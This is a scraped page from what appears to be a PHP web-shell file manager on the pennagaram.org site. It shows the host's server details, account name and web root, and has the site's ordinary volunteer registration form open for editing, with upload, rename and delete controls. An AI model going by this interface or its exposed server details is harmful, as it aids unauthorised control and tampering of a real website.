Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/pennagaram.org/public_html

Free Space:

10.31 TB

🔧 Quick Actions

✏️ Editing: volunteer.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Volunteer Registration - Pennagaram Official</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="apple-touch-icon" sizes="180x180" href="assets/fav/apple-touch-icon.png">
    <link rel="icon" type="image/png" sizes="32x32" href="assets/fav/favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="16x16" href="assets/fav/favicon-16x16.png">
    <link rel="manifest" href="assets/fav/site.webmanifest">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        'primary': '#2E8B57',
                        'accent': '#FF6B35',
                        'secondary': '#1A5276',
                        'light': '#F8F9FA',
                        'neutral': '#495057',
                        'dark': '#212529',
                        'success': '#28A745',
                        'warning': '#FFC107',
                        'highlight': '#E9F5E9'
                    }
                }
            }
        }
    </script>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
        body {
            font-family: 'Inter', sans-serif;
        }
    </style>
</head>
<body class="bg-light">
    <?php include('nav.php') ?>

<?php
    // Display success or error messages
    if (isset($_GET['status'])) {
        if ($_GET['status'] == 'success') {
            echo '
            <div class="fixed top-4 right-4 p-4 rounded-md shadow-lg z-50 bg-success text-white max-w-sm">
                <div class="flex items-center">
                    <i class="fas fa-check-circle mr-3 text-lg"></i>
                    <div>
                        <p class="font-medium text-sm">Success!</p>
                        <p class="text-xs mt-1">Volunteer registration submitted successfully! We will contact you soon.</p>
                    </div>
                    <button onclick="this.parentElement.parentElement.remove()" class="ml-4 text-white hover:text-gray-200">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
            </div>
            <script>
                setTimeout(() => {
                    const notification = document.querySelector(".fixed");
                    if (notification) notification.remove();
                }, 8000);
            </script>';
        } elseif ($_GET['status'] == 'error') {
            $errorMessage = isset($_GET['message']) ? $_GET['message'] : 'An error occurred. Please try again.';
            echo '
            <div class="fixed top-4 right-4 p-4 rounded-md shadow-lg z-50 bg-warning text-dark max-w-sm">
                <div class="flex items-center">
                    <i class="fas fa-exclamation-triangle mr-3 text-lg"></i>
                    <div>
                        <p class="font-medium text-sm">Error!</p>
                        <p class="text-xs mt-1">' . htmlspecialchars($errorMessage) . '</p>
                    </div>
                    <button onclick="this.parentElement.parentElement.remove()" class="ml-4 text-dark hover:text-gray-700">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
            </div>
            <script>
                setTimeout(() => {
                    const notification = document.querySelector(".fixed");
                    if (notification) notification.remove();
                }, 8000);
            </script>';
        }
    }
    ?>

<main class="min-h-screen py-6 mt-16">
        <div class="container mx-auto px-4">
            
            <div class="text-center mb-6">
                <h1 class="text-2xl font-bold text-secondary mb-2">Volunteer Registration</h1>
                <p class="text-neutral text-sm max-w-2xl mx-auto">
                    Join our community as a volunteer and help make Pennagaram a better place for everyone.
                </p>
            </div>

<div class="max-w-3xl mx-auto">
                <div class="bg-white rounded-lg shadow-sm border border-gray-200 overflow-hidden">
                    
                    <div class="bg-white border-b border-gray-200 p-5">
                        <h2 class="text-lg font-semibold text-secondary">Volunteer Application</h2>
                        <p class="text-neutral text-sm mt-1">Fill out the form below to register as a volunteer</p>
                    </div>

<form id="volunteerForm" class="p-5" method="POST" action="submit-volunteer.php">
                        
                        <div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-user mr-2 text-primary text-sm"></i> Personal Information
                            </h3>
                            
                            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                                
                                <div>
                                    <label for="fullName" class="block text-xs font-medium text-neutral mb-1">Full Name *</label>
                                    <input type="text" id="fullName" name="fullName" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Enter your full name">
                                </div>
                                
                                
                                <div>
                                    <label for="dob" class="block text-xs font-medium text-neutral mb-1">Date of Birth *</label>
                                    <input type="date" id="dob" name="dob" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                </div>
                                
                                
                                <div>
                                    <label for="gender" class="block text-xs font-medium text-neutral mb-1">Gender *</label>
                                    <select id="gender" name="gender" required
                                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                        <option value="">Select Gender</option>
                                        <option value="male">Male</option>
                                        <option value="female">Female</option>
                                        <option value="other">Other</option>
                                        <option value="prefer_not_to_say">Prefer not to say</option>
                                    </select>
                                </div>
                                
                                
                                <div>
                                    <label for="phone" class="block text-xs font-medium text-neutral mb-1">Phone Number *</label>
                                    <input type="tel" id="phone" name="phone" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Enter your phone number">
                                </div>
                                
                                
                                <div class="md:col-span-2">
                                    <label for="email" class="block text-xs font-medium text-neutral mb-1">Email Address *</label>
                                    <input type="email" id="email" name="email" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Enter your email address">
                                </div>
                                
                                
                                <div class="md:col-span-2">
                                    <label for="address" class="block text-xs font-medium text-neutral mb-1">Full Address *</label>
                                    <textarea id="address" name="address" rows="2" required
                                              class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                              placeholder="Enter your complete address"></textarea>
                                </div>
                            </div>
                        </div>

<div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-tint mr-2 text-primary text-sm"></i> Blood Donation
                            </h3>
                            
                            <div class="grid grid-cols-1 gap-4">
                                
                                <div>
                                    <label class="block text-xs font-medium text-neutral mb-2">Are you interested in donating blood? *</label>
                                    <div class="flex space-x-4">
                                        <label class="flex items-center text-xs">
                                            <input type="radio" name="blood_donation" value="yes" required
                                                   class="mr-2 focus:ring-primary text-primary scale-90"
                                                   onchange="toggleBloodGroup(this.value)">
                                            Yes, I'm interested
                                        </label>
                                        <label class="flex items-center text-xs">
                                            <input type="radio" name="blood_donation" value="no" required
                                                   class="mr-2 focus:ring-primary text-primary scale-90"
                                                   onchange="toggleBloodGroup(this.value)">
                                            No, not interested
                                        </label>
                                    </div>
                                </div>
                                
                                
                                <div id="bloodGroupSection" class="hidden">
                                    <label for="blood_group" class="block text-xs font-medium text-neutral mb-1">Blood Group *</label>
                                    <select id="blood_group" name="blood_group"
                                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                        <option value="">Select Blood Group</option>
                                        <option value="A+">A+</option>
                                        <option value="A-">A-</option>
                                        <option value="B+">B+</option>
                                        <option value="B-">B-</option>
                                        <option value="AB+">AB+</option>
                                        <option value="AB-">AB-</option>
                                        <option value="O+">O+</option>
                                        <option value="O-">O-</option>
                                    </select>
                                </div>
                            </div>
                        </div>
                        
                        
                        <div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-graduation-cap mr-2 text-primary text-sm"></i> Education & Skills
                            </h3>
                            
                            <div class="grid grid-cols-1 gap-4">
                                
                                <div>
                                    <label for="education" class="block text-xs font-medium text-neutral mb-1">Highest Education Level *</label>
                                    <select id="education" name="education" required
                                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                        <option value="">Select Education Level</option>
                                        <option value="high_school">High School</option>
                                        <option value="diploma">Diploma</option>
                                        <option value="bachelor">Bachelor's Degree</option>
                                        <option value="master">Master's Degree</option>
                                        <option value="doctorate">Doctorate</option>
                                        <option value="other">Other</option>
                                    </select>
                                </div>
                                
                                
                                <div>
                                    <label for="profession" class="block text-xs font-medium text-neutral mb-1">Profession/Occupation</label>
                                    <input type="text" id="profession" name="profession"
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Enter your profession">
                                </div>
                                
                                
                                <div>
                                    <label for="skills" class="block text-xs font-medium text-neutral mb-1">Skills & Talents *</label>
                                    <textarea id="skills" name="skills" rows="2" required
                                              class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                              placeholder="Describe your skills, talents, or areas of expertise..."></textarea>
                                    <p class="text-xs text-neutral mt-1">Please mention any specific skills like teaching, medical, technical, organizing, etc.</p>
                                </div>
                                
                                
                                <div>
                                    <label for="experience" class="block text-xs font-medium text-neutral mb-1">Previous Volunteer Experience</label>
                                    <textarea id="experience" name="experience" rows="2"
                                              class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                              placeholder="Describe any previous volunteer experience..."></textarea>
                                </div>
                            </div>
                        </div>
                        
                        
                        <div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-calendar-alt mr-2 text-primary text-sm"></i> Availability
                            </h3>
                            
                            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                                
                                <div>
                                    <label class="block text-xs font-medium text-neutral mb-2">Available Days *</label>
                                    <div class="space-y-2">
                                        <?php
                                        $days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'];
                                        foreach ($days as $day) {
                                            echo '
                                            <label class="flex items-center text-xs">
                                                <input type="checkbox" name="available_days[]" value="' . strtolower($day) . '" 
                                                       class="mr-2 focus:ring-primary text-primary scale-90">
                                                ' . $day . '
                                            </label>';
                                        }
                                        ?>
                                    </div>
                                </div>
                                
                                
                                <div>
                                    <label for="time_preference" class="block text-xs font-medium text-neutral mb-1">Time Preference *</label>
                                    <select id="time_preference" name="time_preference" required
                                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                        <option value="">Select Preferred Time</option>
                                        <option value="morning">Morning (6 AM - 12 PM)</option>
                                        <option value="afternoon">Afternoon (12 PM - 5 PM)</option>
                                        <option value="evening">Evening (5 PM - 9 PM)</option>
                                        <option value="weekends">Weekends Only</option>
                                        <option value="flexible">Flexible</option>
                                    </select>
                                </div>
                                
                                
                                <div>
                                    <label for="hours_per_week" class="block text-xs font-medium text-neutral mb-1">Hours Available per Week *</label>
                                    <select id="hours_per_week" name="hours_per_week" required
                                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors">
                                        <option value="">Select Hours</option>
                                        <option value="1-5">1-5 hours</option>
                                        <option value="6-10">6-10 hours</option>
                                        <option value="11-15">11-15 hours</option>
                                        <option value="16-20">16-20 hours</option>
                                        <option value="20+">20+ hours</option>
                                    </select>
                                </div>
                            </div>
                        </div>
                        
                        
                        <div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-heart mr-2 text-primary text-sm"></i> Areas of Interest
                            </h3>
                            
                            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                                <?php
                                $interests = [
                                    'education' => 'Education & Teaching',
                                    'environment' => 'Environment & Cleanliness',
                                    'healthcare' => 'Healthcare & Medical',
                                    'elderly_care' => 'Elderly Care',
                                    'childcare' => 'Childcare',
                                    'event_management' => 'Event Management',
                                    'social_media' => 'Social Media & Marketing',
                                    'technical' => 'Technical Support',
                                    'administration' => 'Administrative Work',
                                    'fundraising' => 'Fundraising',
                                    'sports' => 'Sports & Recreation',
                                    'cultural' => 'Cultural Activities'
                                ];
                                
                                foreach ($interests as $key => $value) {
                                    echo '
                                    <label class="flex items-center text-xs">
                                        <input type="checkbox" name="interests[]" value="' . $key . '" 
                                               class="mr-2 focus:ring-primary text-primary scale-90">
                                        ' . $value . '
                                    </label>';
                                }
                                ?>
                            </div>
                        </div>
                        
                        
                        <div class="pb-5 mb-5">
                            <h3 class="text-base font-semibold text-secondary mb-3 flex items-center">
                                <i class="fas fa-phone-alt mr-2 text-primary text-sm"></i> Contact Information
                            </h3>
                            
                            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                                
                                <div>
                                    <label for="contact_name" class="block text-xs font-medium text-neutral mb-1">Contact Person Name *</label>
                                    <input type="text" id="contact_name" name="contact_name" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Full name of contact person">
                                </div>
                                
                                
                                <div>
                                    <label for="contact_phone" class="block text-xs font-medium text-neutral mb-1">Contact Person Phone *</label>
                                    <input type="tel" id="contact_phone" name="contact_phone" required
                                           class="w-full px-3 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-primary focus:border-primary text-xs transition-colors"
                                           placeholder="Phone number of contact person">
                                </div>
                            </div>
                        </div>
                        
                        
                        <div class="pt-4">
                            <div class="flex items-start mb-5">
                                <input type="checkbox" id="terms" name="terms" required
                                       class="mt-0.5 mr-2 focus:ring-primary text-primary scale-90">
                                <label for="terms" class="text-xs text-neutral">
                                    I agree to the <a href="#" class="text-primary hover:underline font-medium">terms and conditions</a> and confirm that all information provided is accurate to the best of my knowledge.
                                </label>
                            </div>
                            
                            <div class="flex flex-col sm:flex-row gap-3 justify-center">
                                <button type="submit" 
                                        class="bg-primary text-white px-6 py-2 rounded-md hover:bg-green-600 transition-colors font-medium flex items-center shadow-sm text-sm">
                                    <i class="fas fa-user-plus mr-2 text-xs"></i> Register as Volunteer
                                </button>
                            </div>
                        </div>
                    </form>
                </div>

</div>
        </div>
    </main>

<?php include('footer.php') ?>

// Form validation and enhancement
        document.addEventListener('DOMContentLoaded', function() {
            const form = document.getElementById('volunteerForm');
            
            // Add real-time validation
            const requiredFields = form.querySelectorAll('[required]');
            requiredFields.forEach(field => {
                field.addEventListener('blur', function() {
                    validateField(this);
                });
            });
            
            // Form submission
            form.addEventListener('submit', function(e) {
                let isValid = true;
                
                // Validate all required fields
                requiredFields.forEach(field => {
                    if (!validateField(field)) {
                        isValid = false;
                    }
                });
                
                // Validate at least one available day is selected
                const availableDays = form.querySelectorAll('input[name="available_days[]"]:checked');
                if (availableDays.length === 0) {
                    isValid = false;
                    showNotification('Please select at least one available day.', 'error');
                }
                
                // Validate at least one interest is selected
                const interests = form.querySelectorAll('input[name="interests[]"]:checked');
                if (interests.length === 0) {
                    isValid = false;
                    showNotification('Please select at least one area of interest.', 'error');
                }
                
                // Validate blood donation selection
                const bloodDonation = form.querySelector('input[name="blood_donation"]:checked');
                if (!bloodDonation) {
                    isValid = false;
                    showNotification('Please select your blood donation interest.', 'error');
                }
                
                // Validate blood group if interested in donation
                if (bloodDonation && bloodDonation.value === 'yes') {
                    const bloodGroup = document.getElementById('blood_group');
                    if (!bloodGroup.value) {
                        isValid = false;
                        highlightError(bloodGroup, 'Please select your blood group');
                    }
                }
                
                // Check terms agreement
                const terms = document.getElementById('terms');
                if (!terms.checked) {
                    isValid = false;
                    highlightError(terms, 'You must agree to the terms and conditions');
                }
                
                if (!isValid) {
                    e.preventDefault();
                    showNotification('Please fill in all required fields correctly.', 'error');
                }
                // If valid, let the form submit normally to submit-volunteer.php
            });
            
            // Field validation function
            function validateField(field) {
                const value = field.value.trim();
                let isValid = true;
                let message = '';
                
                // Clear previous error
                clearError(field);
                
                // Check if empty
                if (!value) {
                    isValid = false;
                    message = 'This field is required';
                } 
                // Email validation
                else if (field.type === 'email' && !isValidEmail(value)) {
                    isValid = false;
                    message = 'Please enter a valid email address';
                }
                // Phone validation (basic)
                else if (field.type === 'tel' && !isValidPhone(value)) {
                    isValid = false;
                    message = 'Please enter a valid phone number';
                }
                // Date validation (must be in past for DOB)
                else if (field.type === 'date' && field.id === 'dob') {
                    const selectedDate = new Date(value);
                    const today = new Date();
                    if (selectedDate >= today) {
                        isValid = false;
                        message = 'Date of birth must be in the past';
                    }
                }
                
                if (!isValid) {
                    highlightError(field, message);
                }
                
                return isValid;
            }
            
            // Helper functions
            function isValidEmail(email) {
                const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                return re.test(email);
            }
            
            function isValidPhone(phone) {
                // Basic phone validation - at least 10 digits
                const digits = phone.replace(/\D/g, '');
                return digits.length >= 10;
            }
            
            function highlightError(field, message) {
                field.classList.add('border-red-500');
                
                // Create or update error message
                let errorElement = field.parentNode.querySelector('.error-message');
                if (!errorElement) {
                    errorElement = document.createElement('p');
                    errorElement.className = 'error-message text-red-500 text-xs mt-1';
                    field.parentNode.appendChild(errorElement);
                }
                errorElement.textContent = message;
            }
            
            function clearError(field) {
                field.classList.remove('border-red-500');
                
                const errorElement = field.parentNode.querySelector('.error-message');
                if (errorElement) {
                    errorElement.remove();
                }
            }
            
            // Function to show temporary notifications (for form validation errors)
            function showNotification(message, type) {
                // Create notification element
                const notification = document.createElement('div');
                notification.className = `fixed top-4 left-4 p-4 rounded-md shadow-lg z-50 text-sm max-w-sm ${
                    type === 'success' ? 'bg-success text-white' : 'bg-warning text-dark'
                }`;
                notification.innerHTML = `
                    <div class="flex items-center">
                        <i class="fas fa-${type === 'success' ? 'check-circle' : 'exclamation-triangle'} mr-3 text-lg"></i>
                        <div>
                            <p class="font-medium">${type === 'success' ? 'Success!' : 'Error!'}</p>
                            <p class="text-xs mt-1">${message}</p>
                        </div>
                        <button onclick="this.parentElement.parentElement.remove()" class="ml-4 ${type === 'success' ? 'text-white hover:text-gray-200' : 'text-dark hover:text-gray-700'}">
                            <i class="fas fa-times"></i>
                        </button>
                    </div>
                `;
                
                document.body.appendChild(notification);
                
                // Remove notification after 5 seconds
                setTimeout(() => {
                    if (notification.parentNode) {
                        notification.remove();
                    }
                }, 5000);
            }
        });
    </script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: volunteer.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation